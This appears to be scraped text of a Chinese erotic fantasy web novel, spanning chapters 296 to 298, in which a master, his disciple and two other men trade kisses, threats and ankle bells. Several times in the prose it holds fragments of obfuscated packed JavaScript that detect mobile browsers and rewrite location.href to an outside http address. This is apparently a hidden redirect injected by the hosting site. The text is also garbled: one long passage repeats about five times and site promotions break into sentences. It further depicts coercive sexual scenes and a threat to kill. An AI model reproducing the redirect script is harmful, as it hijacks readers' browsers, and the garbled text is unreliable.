如同金石雕凿而成,毫无转圜的余地,无声地宣告着主人的冷硬、疏离与不容靠近。 游刃有余且攫为己有般,禁锢着腿上人,让其与自己密密实实相贴。 显得偏执、病态。 江献晚:“…… 她快要被亲**,根本顾不得被花不休剥的几乎一干二净,只余出的气,没有进的气。 泪盈于睫,淌满双颊,两条红痕斑驳错落、深红迭浅红的腿,酥软无力的垂在水中。 呜咽一声,竟又是濒死般挣扎起来,五指痉挛着,几乎痛苦的扣上花不休肩颈,挠出几道指甲印。 湿着眸子,青丝散乱,几乎是魄悸魂惊。 朝十步之外的两个赤裸着上半身,如花似玉的男人,投去迫切而涣散的求救目光。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 救我——! 花美人要**了——!!! 帝隐:“……” 云为泽:“……” 看得出花美人确实……想**。 不过晚晚是怎么将人给彻底逼疯的? 眼看江献晚伏在身上 仿佛承受着极大的痛苦雪白的脚踝都在水下痉挛着颤抖。 帝隐和云为泽双双蹙起眉同时起身。 “哥……” “凤仪……” 两人方一开口骤然被一片肆虐而充满杀意的冰针还有冰冷的一个吐字击了个粉碎。 “滚。” 花不休一手抱着徒儿五指陷在雪白滑腻的皮肉里捉着那段白绸般温软的腰身。 像是餍足的猛兽舔舐着自己最合心意的猎物。 听到动静侧眸间眼底一片猩红惊人的戾气与欲色翻覆相交织。 薄唇一张吐出一个毫无温度的字指尖带起一片晶莹水珠。 看似无害。 然而就在那水珠脱离他指尖的一刹那—— 那一片四散开的水珠仿佛被瞬间注入了绞杀尽一切的戾气。 化作无数枚凝练至极的冰针破空之声尖锐刺耳方才的柔和假象被彻底撕碎。 取而代之的是一股冰冷刺骨、锋锐无匹的凛冽杀机。 帝隐和云为泽面色齐齐一变被他眼底的杀意所惊到。 堪堪躲避无数尖利的冰针如矢交坠齐钉入身后岩壁之中。 待声响落定只见那一片岩壁之上已赫然布满无数细密的孔洞深不可测。 每一根冰针都精准地没入石中留下点点寒霜凝结的痕迹宛如一片骤然绽放的冰棘之花。 帝隐和云为泽面色微微一沉眼底划过一抹不可思议的惊愕。 这一刻异常确定方才他们若不能及时避开花不休真的不会留手杀了他们! 他……真疯了?! 而始作俑者却连眼风都未曾扫向那片狼藉仿佛只是信手拂去了一粒入不了眼的微尘。 唇只松开了一息便再次 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 低眸含住了江献晚的唇舌。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206908|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 帝隐和云为泽表情变的凝肃起来,正欲再靠近,江献晚悄悄慌忙将他们摆了一下手。 花不休对这些小动作视若无睹,整张脸的线条再次柔和下,透着一股闲散至极、万事皆空的慵懒。 所有的注意力,皆在那双软嘟嘟的唇上。 江献晚:“……” 完了。 花美人疯了。 花美人真的疯了。 他竟真的要杀了帝隐和云为泽! 六亲都不认了! 到了此刻,江献晚真信了他那平静到极点的“全、死”二字。 不由得紧张的看向他的眼睛,试图从其中找出回旋的办法。 她望着那双似蒙着一层江南暮春时节的薄雾,慵懒得化不开的墨色瞳眸。 那眸光像是被牵绊住了,流转得异常缓慢,直直且漫不经心望进她眼中,便懒散的微眯了一下。 江献晚瞧见……一缕几不可察,翻滚上来的欲色。 眼底却尽是一片……平静太过的……淡淡疯感。 只觉汗**倒竖,一股冰冷的战栗如同细小的毒蛇,自尾椎骨沿着脊柱急速窜升,顷刻蔓延至四肢百骸。 她急促的喘息声一哽,努力塌软下腰,作放松姿态。 不敢再挣扎,更不敢再求救。 她从未见过这样的花不休。 甚至觉得,他方才真的是很想把帝隐和云为泽杀了! 推抵的双手,软软泄力,顺从的轻启唇瓣,任由他索取,放任自己溺毙。 试图……唤回花美人回归一点正常。 睨着两只再温顺不过的白嫩手指,花不休低低一笑,舌尖松开她的舌,唇挪开一些,浅浅的吻着,体贴的让她呼吸到一些空气。 余光绞着她轻薄衣料下满身斑驳吻痕,连腿根都密密麻麻,眼角几不可察,微微一扬,笑意却不达眼底。 掌心沿着她的腰际,漫不经心,在那似花瓣零落的吻痕辗转流连,一处一处细细抚过。 最终握上她亦带着几处吻痕的足踝,指尖轻轻拨弄了一下那只铃铛。 听到悦耳的清脆回应,嗓音在她唇边,轻轻痒痒的,还含着一丝近乎愉悦的浅笑。 吐露出的话,听的江献晚整个人如坠冰窟,彻底麻了。 第 296 章 将脸丢掉 “为师,先杀了他们二人可好?” 他的唇极轻地分开,似蝶翼初振,贴着她的唇滑过去,羽毛似的搔痒。 极亲昵的两个字,仿佛被他含在口中温了又温,才轻轻吐露。 帝隐:“……” 云为泽:“……” 两人相视一眼,眸色渐渐沉下。 他们并未觉得凤仪此刻在说笑。 他是,真想杀了他们。 江献晚:“……” 她睫毛微颤,迎着那双表面浮了一层薄薄笑意,底下晦暗若渊的眸子。 花不休眼角是弯着的,如初春湖面解冻时的第一道涟漪, 细看便能察觉异样。 那双瞳孔仍是冷的,黑而沉,像是古井里冻着的两颗墨晶石,纹丝不动地嵌着。 笑与目,两相欺瞒。 花不休,真的疯了。 江献晚不由屏息,没敢吭声,只微启着唇,方便他亲。 她确定。 她但凡说出一句护着帝隐与云为泽的话,花不休立马就能……弄死他们俩! 但若她不作为,或是反过来做些讨好他的举动,花不休恐怕还会先弄死他俩……再弄死她! 足踝上那只看似温柔抚弄的手掌,更是叫她毛骨悚然,仿佛下一瞬就能将她的筋骨捏断。 见他一瞬不瞬看着自己的眼睛,表情都未改变,耐心又似温和般等她的反应,江献晚承认自己……怂了。 她既不敢吭声,更不敢主动回应他仍浅浅吮着她唇瓣的吻,还……不敢装死! 无比后悔没事非捏花美人作甚,这下好了,直接将人给捏疯了。 强忍着想要哆嗦两下的冲动,心死闭了一下眼。 指尖偷偷轻轻一勾,将背后两根丝带勾开,小衣便随着水的浮沉晃动,缓缓滑落。 帝隐:“……” 云为泽:“……” 浑如雪的起伏猝不及防,几乎全然闯进眼帘,本紧拧着眉、表情凝重的二人,腾地一下烧红了耳尖。 从他们的视角,江献晚腰肢缓缓一收,向上方挺起,如同一张柔韧的弓在无人处绷紧了弦。 若隐若现的衣料之下,脊骨的线条倏忽隐没, 只余一段惊心动魄的弧。 而那倏然扬起的丰隆的曲线,停在……那双微抿的唇角仅毫厘的距离。 帝隐:“……” 云为泽:“……” 突如其来,香艳到极致的一幕,使得二人火急火燎垂下睫毛,喉结无声滚动。 那片脂膏似的肌肤上,指印吻痕皆有,看起来因对待它们的那个男人太过急色,短短时间,根本无法消下去零星半点。 愈发显得…… 两人耳根子红透,微微暗下的余光却不由己控,忍不住那处偏移。 花不休:“……” 一缕幽香扑鼻而来,孽徒兵出险招的安抚姿态,令他睫帘颤了几颤,似笑非笑的唇角,缓缓敛僵。 花不休甚至没察觉,自己握着那截腰肢的指骨,缓慢拢紧了些。 幽深的眸子落在一片晃眼的雪白,定定看了几秒,继而懒懒似的眯起了眸子。 狐狸下嘴下手,到底失了轻重。 江献晚恨不能一头撞死,脸颊烧的厉害,见他只看着,瞳色越来越深,并非柔和,反倒是更想**了……当然知道为什么。 还能为什么。 狐狸啃她啃的太凶,她身上几乎找不出来一块干净的皮肉。 方才花不休摸那些痕迹的时候,让她有种他在考虑,要不要一点一点剥了她的皮的错觉。 将脸丢掉,故作淡定。 催了催。 “师尊……您……” “不要徒儿吗?” 她不信,花不休能忍得住。 如果这都不要,那她今日估计真的要玩完了。 直接水葬。 坟都省了。 花不休可能不会杀了帝隐和云为泽,但绝对会在她身上,来一场什么类似于‘小黑屋、囚禁play’的强制爱。 单凭她脚上的锁环,就能轻易推论出来。 那是毫不掩饰,明晃晃的无声警戒。 逾线就是死。 江献晚在心中不知第几回默默发下重誓,打死她,以后都不写那些教坏人的不正经的书!!! 尤其……绝对不要把真实的人物写进去!!! 花不休:“ ……” 时间仿佛在这一刻被拉长,长到帝隐和云为泽以为自己都快僵成一座雕塑。 那懒散抵着岩壁的男人,终于动了。 他视线绞着江献晚的眼睛,微微启开了薄唇…… 便听到一阵细微的脆响,透水而出。 帝隐:“……” 云为泽:“……” 两人耳尖红的几乎滴出血来。 不敢走,怕凤仪疯起来,会对江献晚做出什么事。 且又是……早晚都要面对。 不走。 他们却…… 只能僵硬着四肢,默默寻了稍远些的岩壁,屈身坐下。 而后……垂着睫毛,默默捏着酒壶,傻乎乎的低头喝酒。 呼吸轻的都快没了。 当自个是小透明。 顶着两双时不时掠来的,穿透力极强的滚烫目光,江献晚尴尬的恨不能用脚趾在水里抠出一座城堡。 真的。 她都觉得自个已经无脸可丢了。 也从未想过,能做出这般放浪形骸的举动。 努力无视花不休湿热的薄唇,品鉴一般。 咬着唇,不发出声,攀在他肩头的双手,却颤抖着,指尖刮挠出几道窄窄的红痕。 没在水下的两条腿,反应是最直观、无遮掩,单凭那愈来愈激烈的铃铛声,可想忍的多辛苦。 直到花美人慢条斯理,给她上刑似的,两个都品够了,她的两条腿也颤的抽筋,终于好心的移开红滟濡湿的唇瓣。 江献晚再支撑不住,腰身一软,伏在他肩头,面颊埋在他颈窝,倦倦的阖上了睫毛。 花不休睫帘落了些,倒是没有做更过分的动作,眼底仍是沉静。 只是……在孽徒看不到的地方,一丝潋滟的柔软笑意,终于缓慢地冲破薄而坚固的冰层。 他的孽徒。 很好吃。 还很……脆弱。 如山洞中那五日般。 无不是娇嫩。 尽管她掩饰的再好,他们又浸泡在水中。 他隔着一层几乎可以忽略不计的衣料,明显感受到了。 无人知道他忍的多辛苦,使出了多大的力,没在帝隐和云为泽眼皮子底下做出更荒唐的事。 只是……时间忍不住久了些。 久的孽徒悄悄并了两回腿。 周围忽然变得安静下来,花不休下颌轻抵着她的乌发,掌心不轻不重,轻轻揉捏着她小腿的筋结。 而后,顺着她薄薄的脊背至腰臀,一下一下的抚着。 半晌。 等她不颤了,唇摸索到她的唇瓣,含了那点唇肉,轻轻笑了笑,吐字低沉缠绵。 “孽徒,在想什么?” “想把师尊当狗玩儿。” 得到一个恢复正常的花美人,江献晚眼皮子也不抬,含糊不清,脱口道。 看起来,心里很是执着,将他当狗玩儿的事。 花不休喉间溢出一声低低的笑音。 唇凑近她耳畔,轻咬着她的耳垂。 “那,为师给孽徒当狗好不好。” 帝隐:“……” 云为泽:“……” 凤仪是……真狗! 却听。 江献晚软软轻“嗯”一声。 “今晚还寻狐狸吗?” “师尊让吗?” “让的话,为师有什么好处?” “徒儿陪师尊一日?” “只一日?” “为师想要五日。” 某人想了想,反悔。 “今日去看狐狸,待不久,我还要跟着林轻染。” 意思是,五日不行。 雾渺将林轻染拖走前,看了她一眼。 等他俩算完账,雾渺会发信息通知她的。 “那徒儿想给为师几日?” “一……嗯二?” “四。” “三,不能再多了。” “好。” “那,这铃铛,可以摘掉了吧?” “为师想听,下次……” 这边,窃窃私语。 另一边。 帝隐:“……” 云为泽:“……” 无人知道他忍的多辛苦,使出了多大的力,没在帝隐和云为泽眼皮子底下做出更荒唐的事。 只是……时间忍不住久了些。 久的孽徒悄悄并了两回腿。 周围忽然变得安静下来,花不休下颌轻抵着她的乌发,掌心不轻不重,轻轻揉捏着她小腿的筋结。 而后,顺着她薄薄的脊背至腰臀,一下一下的抚着。 半晌。 等她不颤了,唇摸索到她的唇瓣,含了那点唇肉,轻轻笑了笑,吐字低沉缠绵。 “孽徒,在想什么?” “想把师尊当狗玩儿。” 得到一个恢复正常的花美人,江献晚眼皮子也不抬,含糊不清,脱口道。 看起来,心里很是执着,将他当狗玩儿的事。 花不休喉间溢出一声低低的笑音。 唇凑近她耳畔,轻咬着她的耳垂。 “那,为师给孽徒当狗好不好。” 帝隐:“……” 云为泽:“……” 凤仪是……真狗! 却听。 江献晚软软轻“嗯”一声。 “今晚还寻狐狸吗?” “师尊让吗?” “让的话,为师有什么好处?” “徒儿陪师尊一日?” “只一日?” “为师想要五日。” 某人想了想,反悔。 “今日去看狐狸,待不久,我还要跟着林轻染。” 意思是,五日不行。 雾渺将林轻染拖走前,看了她一眼。 等他俩算完账,雾渺会发信息通知她的。 “那徒儿想给为师几日?” “一……嗯二?” “四。” “三,不能再多了。” “好。” “那,这铃铛,可以摘掉了吧?” “为师想听,下次……” 这边,窃窃私语。 另一边。 帝隐:“……” 云为泽:“……” 无人知道他忍的多辛苦,使出了多大的力,没在帝隐和云为泽眼皮子底下做出更荒唐的事。 只是……时间忍不住久了些。 久的孽徒悄悄并了两回腿。 周围忽然变得安静下来,花不休下颌轻抵着她的乌发,掌心不轻不重,轻轻揉捏着她小腿的筋结。 而后,顺着她薄薄的脊背至腰臀,一下一下的抚着。 半晌。 等她不颤了,唇摸索到她的唇瓣,含了那点唇肉,轻轻笑了笑,吐字低沉缠绵。 “孽徒,在想什么?” “想把师尊当狗玩儿。” 得到一个恢复正常的花美人,江献晚眼皮子也不抬,含糊不清,脱口道。 看起来,心里很是执着,将他当狗玩儿的事。 花不休喉间溢出一声低低的笑音。 唇凑近她耳畔,轻咬着她的耳垂。 “那,为师给孽徒当狗好不好。” 帝隐:“……” 云为泽:“……” 凤仪是……真狗! 却听。 江献晚软软轻“嗯”一声。 “今晚还寻狐狸吗?” “师尊让吗?” “让的话,为师有什么好处?” “徒儿陪师尊一日?” “只一日?” “为师想要五日。” 某人想了想,反悔。 “今日去看狐狸,待不久,我还要跟着林轻染。” 意思是,五日不行。 雾渺将林轻染拖走前,看了她一眼。 等他俩算完账,雾渺会发信息通知她的。 “那徒儿想给为师几日?” “一……嗯二?” “四。” “三,不能再多了。” “好。” “那,这铃铛,可以摘掉了吧?” “为师想听,下次……” 这边,窃窃私语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206909|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 另一边。 帝隐:“……” 云为泽:“……” 无人知道他忍的多辛苦,使出了多大的力,没在帝隐和云为泽眼皮子底下做出更荒唐的事。 只是……时间忍不住久了些。 久的孽徒悄悄并了两回腿。 周围忽然变得安静下来,花不休下颌轻抵着她的乌发,掌心不轻不重,轻轻揉捏着她小腿的筋结。 而后,顺着她薄薄的脊背至腰臀,一下一下的抚着。 半晌。 等她不颤了,唇摸索到她的唇瓣,含了那点唇肉,轻轻笑了笑,吐字低沉缠绵。 “孽徒,在想什么?” “想把师尊当狗玩儿。” 得到一个恢复正常的花美人,江献晚眼皮子也不抬,含糊不清,脱口道。 看起来,心里很是执着,将他当狗玩儿的事。 花不休喉间溢出一声低低的笑音。 唇凑近她耳畔,轻咬着她的耳垂。 “那,为师给孽徒当狗好不好。” 帝隐:“……” 云为泽:“……” 凤仪是……真狗! 却听。 江献晚软软轻“嗯”一声。 “今晚还寻狐狸吗?” “师尊让吗?” “让的话,为师有什么好处?” “徒儿陪师尊一日?” “只一日?” “为师想要五日。” 某人想了想,反悔。 “今日去看狐狸,待不久,我还要跟着林轻染。” 意思是,五日不行。 雾渺将林轻染拖走前,看了她一眼。 等他俩算完账,雾渺会发信息通知她的。 “那徒儿想给为师几日?” “一……嗯二?” “四。” “三,不能再多了。” “好。” “那,这铃铛,可以摘掉了吧?” “为师想听,下次……” 这边,窃窃私语。 另一边。 帝隐:“……” 云为泽:“……” 无人知道他忍的多辛苦,使出了多大的力,没在帝隐和云为泽眼皮子底下做出更荒唐的事。 只是……时间忍不住久了些。 久的孽徒悄悄并了两回腿。 周围忽然变得安静下来,花不休下颌轻抵着她的乌发,掌心不轻不重,轻轻揉捏着她小腿的筋结。 而后,顺着她薄薄的脊背至腰臀,一下一下的抚着。 半晌。 等她不颤了,唇摸索到她的唇瓣,含了那点唇肉,轻轻笑了笑,吐字低沉缠绵。 “孽徒,在想什么?” “想把师尊当狗玩儿。” 得到一个恢复正常的花美人,江献晚眼皮子也不抬,含糊不清,脱口道。 看起来,心里很是执着,将他当狗玩儿的事。 花不休喉间溢出一声低低的笑音。 唇凑近她耳畔,轻咬着她的耳垂。 “那,为师给孽徒当狗好不好。” 帝隐:“……” 云为泽:“……” 凤仪是……真狗! 却听。 江献晚软软轻“嗯”一声。 “今晚还寻狐狸吗?” “师尊让吗?” “让的话,为师有什么好处?” “徒儿陪师尊一日?” “只一日?” “为师想要五日。” 某人想了想,反悔。 “今日去看狐狸,待不久,我还要跟着林轻染。” 意思是,五日不行。 雾渺将林轻染拖走前,看了她一眼。 等他俩算完账,雾渺会发信息通知她的。 “那徒儿想给为师几日?” “一……嗯二?” “四。” “三,不能再多了。” “好。” “那,这铃铛,可以摘掉了吧?” “为师想听,下次……” 这边,窃窃私语。 另一边。 帝隐:“……” 云为泽:“……” 无人知道他忍的多辛苦,使出了多大的力,没在帝隐和云为泽眼皮子底下做出更荒唐的事。 只是……时间忍不住久了些。 久的孽徒悄悄并了两回腿。 周围忽然变得安静下来,花不休下颌轻抵着她的乌发,掌心不轻不重,轻轻揉捏着她小腿的筋结。 而后,顺着她薄薄的脊背至腰臀,一下一下的抚着。 半晌。 等她不颤了,唇摸索到她的唇瓣,含了那点唇肉,轻轻笑了笑,吐字低沉缠绵。 “孽徒,在想什么?” “想把师尊当狗玩儿。” 得到一个恢复正常的花美人,江献晚眼皮子也不抬,含糊不清,脱口道。 看起来,心里很是执着,将他当狗玩儿的事。 花不休喉间溢出一声低低的笑音。 唇凑近她耳畔,轻咬着她的耳垂。 “那,为师给孽徒当狗好不好。” 帝隐:“……” 云为泽:“……” 凤仪是……真狗! 却听。 江献晚软软轻“嗯”一声。 “今晚还寻狐狸吗?” “师尊让吗?” “让的话,为师有什么好处?” “徒儿陪师尊一日?” “只一日?” “为师想要五日。” 某人想了想,反悔。 “今日去看狐狸,待不久,我还要跟着林轻染。” 意思是,五日不行。 雾渺将林轻染拖走前,看了她一眼。 等他俩算完账,雾渺会发信息通知她的。 “那徒儿想给为师几日?” “一……嗯二?” “四。” “三,不能再多了。” “好。” “那,这铃铛,可以摘掉了吧?” “为师想听,下次……” 这边,窃窃私语。 另一边。 帝隐:“……” 云为泽:“……” 第 297 章 不敢解 她伏在花不休肘弯,耳鬓厮磨了好一会儿。 随着指尖一拨,一响,花美人身心俱愉的轻笑,一声连至着一声。 不远处两个男人,唇角抿的越来越紧,面部轮廓愈发冷硬,周身低气压一股一股跟着往外冒。 感受到两股,山雨欲来、一触即发的杀气,江献晚遭不住了。 心虚的拿两根指头,悄悄拧了一下花美人腰间的肌肉。 无声要求:快道歉。 花不休故作委屈眨眼,而后笑的睫毛簌簌,唇蹭了蹭她的唇,这才懒懒掀起一点眼皮。 “抱歉。 “方才手滑。 帝隐:“…… 云为泽:“…… 他要不要听听他自个在说什么? 手滑? 那特么应该从来没瞄那般准过吧? 根根冰针直指他们的死穴跟心窝。 他一句手滑就揭过去了? 凤仪,好不要脸! 江献晚:“…… 道歉都这么嚣张,很容易影响家庭和谐的好吧? 待会儿不还是她哄。 江献晚又拧了他一把,白嫩的脚丫轻轻一踹,正中他某处命门,朝帝隐和云为泽游了过去。 花不休被踹了也不恼,反倒眉眼一挑,愉悦的笑了一声。 修长的指骨扣了眼前就要溜走的足踝,一拽,并拨了一下那枚铃铛。 精悍的胸腹覆在她背后,一条手臂环了她的腰身,另一条手臂一划。 来到兀自捏着酒壶,显得格外沉默的两个男人跟前。 “怎么不说话? 帝隐:“…… 云为泽:“…… 怎么不说话? 呵。 说什么话? 感谢他差点杀了他俩? 还是感谢他留了他俩一命? 别以为他们看不出,他想将晚晚独占的龌龊念头! 别说帝隐都觉得凤仪此人,有些一言难尽,冷着脸,不肯理他。 云为泽险些笑出声。 纯属给气的。 这会 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 儿想起来他们俩是兄弟了? 这会儿问他俩怎么不说话了? 那个“滚字,恨不能直接把他俩给吐死。 云为泽舌尖暗暗顶了一下腮,面色阴沉,只低低嗤声冷笑,更不欲搭理他。 他本就因江献晚去见狐狸,翻来覆去睡不着,天还没亮,跑到这儿喝些闷酒,后来等到过来消火冷静的帝隐。 差点被凤仪杀了不说,眼睁睁看着江献晚与他……还应了三日之约。 故意给江献晚脚上戴了这么个玩意儿,显的是他自个的? 别人不能碰? 他说什么? 说他现在,弑兄的心都有了! 江献晚:“…… 瞅瞅这问题问的。 你觉得他们怎么不说话? 江献晚果断又踹了他一脚,后者摸了摸她的脚,笑的睫毛一颤一颤,顺着力度,歪歪扭扭靠在了岩壁上。 江献晚第一个目标就是……唇角抿出一个委委屈屈小弧度的帝隐。 因为……帝隐最好哄。 拢着衣襟,爬到了他腿上。 帝隐果然下意识伸出了手,轻轻掐了她的腰肢,抱在膝头。 嘴角委屈的小弧度,立时消了一些。 江献晚脑瓜子一转,表面不动声色,背地里,调整姿势般,若无其事挪动了一下屁股。 压着命脉。 毫无意外,暗戳戳吃醋,还有些生气的北帝尊,双颊腾地一下红了。 不知所措的环着她……随后,咬了舌尖,勉强咽下喘息,脆弱的将面颊埋在她颈窝。 “晚晚…… 这小小的一声,只听着,江献晚就知道暂时搞定了一个。 立刻朝眼神晦暗莫测,直勾勾来盯他的云为泽,伸出一点脑瓜,张开唇瓣。 云为泽气的呼吸都乱了,神色冷的凝霜,瞧着她乖乖的模样,还是将酒喂在她唇边。 只不过。 看到那双恍若有桃花汁悄然停驻,似凝非凝的唇,含着壶器口翡缕的边缘,视线一下被勾住,再移不开分寸。 那点浸润了一层莹润水光的舌尖,不经意卷了卷他搭在瓶口的指尖。 并非简单的舔舐,而是更 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 近乎一种缓慢、细致的贴覆,带着一阵极其细微却直窜脊髓的痒意和战栗。 云为泽微微眯眸,眼底翻覆着涌上一层晦暗不明的色泽。 在那点舌尖缩回之际,指尖不由自主地去追寻向贝齿后掩藏的一抹春色。 江献晚轻启着唇,迎着那双愈发幽深的眼眸,无辜一眨眼,又慢慢勾了一下。 模糊不清的嗓音,更是坠了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218536|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令人欲念疯长的小勾子。 “还要……喝。” 花不休:“……” 听着云为泽骤乱的急促呼吸。 不得不说。 她的孽徒,哄人的法子,一套一套的。 想到自个被孽徒玩的跟个狗似的,还忍不住说出要给孽徒做狗,花不休也只能甘之如饴……上赶着给孽徒当狗玩儿。 云为泽眼底近乎墨色的浓稠,沉甸甸的,带着一种实质的重量。 紧紧绞着那裹了他指尖的舌,并着酒,卷了一下。 缓缓缩回手,转去捉了她藏在水下,莹白如瓷的脚,在掌心细细把玩。 他垂着一双睫毛,那眸色便显得更加浓重,自有千钧重力。 江献晚深知,此事没完。 帝隐会忍着不说,云为泽是个爱吃醋的,更是个计较的。 果然,他的注意力已然放在,那灼灼如烈焰的锁环和铃铛上面。 花不休和帝隐的视线,自然也跟着倾斜了过去。 那足踝纤巧,骨线清晰,一段雪白的弧。 偏生环着一圈悬坠着铃铛的的环,那环与铃铛造得极细极精,紧紧贴着肌肤,似天生便长在那里。 有光扫过,倏地淌出更灼目的亮色,沿着优美的弧度流动、燃烧,宛如一道被拘束了的流火,禁锢在了凝霜赛雪的肌肤之上。 行动间,微光烁烁,无声地跳跃、舔舐,烫着人的眼。 意识到他的好弟弟想做什么,花不休唇角一侧轻勾,歪了头细瞧。 看着云为泽面无表情,拿指尖拨了一下那铃铛,江献晚皮跟着绷紧了,大气都不敢喘,足踝无意识的缩了缩。 下一刻。 一声脆响。 在三双情绪各异的眸光注视下,锁环上……多出一个黑色的小铃铛。 那铃铛是极沉的墨黑,开得寂静,却带着一股近乎嚣张的诡滟,如同深黑的地底蜿蜒出的一缕魂花。 又更像是从冥河的彼岸借来了一缕精魂,凝结成了这悖逆生机、令人心悸的姿态。 美得令人不安。 江献晚:“……” 她自然不瞎。 这枚铃铛花,正是云为泽动情时,开的花。 不儿! 她还以为云为泽是想将那锁环给卸了,合着是又坠了一枚自个儿的小铃铛? 本来想着过几日,哄花美人给她解了。 这下,两枚铃铛跟较劲似的,还怎么解? 她敢解么! 第 298 章 三个铃铛 云为泽垂眼拨了一下他自个的花儿紧蹙的眉心勉强缓缓舒展一些。 睫帘轻抬薄唇一张。 低沉而微哑的声线语调是沉的缓的不带丝毫情绪起伏却显得更具执拗和压迫送至她耳边。 不是在与她相商。 “晚晚。” “四日。” 多出一日便算浅浅的补偿。 他等的要疯了。 江献晚面庞扭曲了一下。 僵硬的抬起脑瓜去看眼底噙着一抹异色的帝隐。 那抹异色名叫—— 蠢蠢欲动。 江献晚:“……” 明智的选择将脚丫从云为泽掌心慢吞吞缩回抬起一些给他。 毫无意外。 帝隐虽是最大度的那个该吃的醋一点不会落下。 随着温热的手掌握上她的足踝 便又是……一声悦耳的脆响。 江献晚一哆嗦绝望的瘫软在他怀里。 她低着脑瓜看锁环上又多出的一个小铃铛。 那一朵是冰雪与琉璃在极致处相遇误坠凡尘凝作的花。 通体剔透、冰肌玉骨却又在转折处流转着一种温润的弧度矛盾得惊心动魄。 日光月华穿过并不径直透过反而在其间千回百转被细细切割、折射迸溅出星星点点如碎钻的冷芒冷艳不可方物。 纯净得令人屏息仿佛窥见了天地初开时最原初的冰雪精魂。 一红一白一黑坠悬其上美的平分秋色。 帝隐轻轻拨了一下自己的那朵花听见脆响眉心舒展似乎轻舒了一口气。 复而委委屈屈抬眼瞅她。 “晚晚……” 江献晚:“……” 天知道她感动的快要哭了一咬牙头一点。 “五天!” 精神补偿费! 暂且不说这一个一个加起来得多少天。 她可以想象到。 要是被狐狸和非翎看到……还得再坠上两朵! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 眼下,三个男人显然勉强都满意了,各个瞅着自个的小铃铛,形成一种诡异的默契。 唯独夹在中间的江献晚,紧紧拢着衣襟不语。 还暗自怪上人家雾渺的传信,来的一点都不及时。 她晃了晃手里的玉简,让三个眼神缠着她不放的男人看。 “那个,先……这样? 反正现在给不了。 一个都给不了。 三个男人:“…… 想要,眼下也确实没时间,只能忍了。 云为泽只手一捞,将她转抱在自己膝头,从身后环拥了她,“我和哥同你去。 凤仪修为是他们几个中最强的,帝隐留下,既可镇守虚古境,亦能与行行多相处。 “不,我先去,你们等我消息。 “林轻染身上的东西,可以定位你们的位置,你们跟着我,只会打草惊蛇。 她摸索出一个结论,系统可以定位十八个美人图鉴的位置,但无法定位她与其他人的。 还能在一定距离内,操控他人神智。 花不休和帝隐跟着,并不是很好的决定。 而且,她觉得收拾林轻染和系统的事儿,该是她自己要做的。 三个时辰后,雾渺会放林轻染离开,在此之前,她要进一趟虚古境,将墓碑种进去。 以防系统再背后搞动作,引起虚古境异动。 只要墓碑在,六宗安全,不成问题。 而后去繁华郡,跟狐狸和行行他们吃顿饭,再去界域。 刚才看到苏清流的留言,才知道大师兄他们三个此刻已经在繁华郡了。 大约是……她跟花不休从小树林离开后,就去了。 他们昨日就想去看行行,因着帝隐在,也不好打扰她跟狐狸,忍着没跟。 知道她今晚还会去,便早早先过去等,打算一起吃个晚饭。 帝隐他们三人沉默了好一会儿,抿着唇角,没一个吭声。 那墓碑出现的奇怪,他们不是不知。 或许,他们跟着,反而会拖江献晚的后腿。 三人此刻竟生出一种无力和挫败。 饶是再不放心她自己去,也只能强忍着应下,暂时等待 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 。 江献晚回过雾渺的信,立刻给月离他们仨发了信息。 她担心林轻染和系统有什么特别的办法,可以在短暂的时间内,先抵达界域。 让月离他们仨想办法,拦上一拦,不可让林轻染有靠近界碑的机会,等她到了再说。 对面回信回的极快,信刚发出,就传来了三道吵吵闹闹,还很委屈的哭腔。 月离:“我跟三王说,让他们天天抱着界碑睡觉!不许离开!” 水涟:“我多叫些人魔妖跟三王一起睡。” 迷音:“笨!把界碑和三王他们一块藏起来!” 迷音:“那你什么时候到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 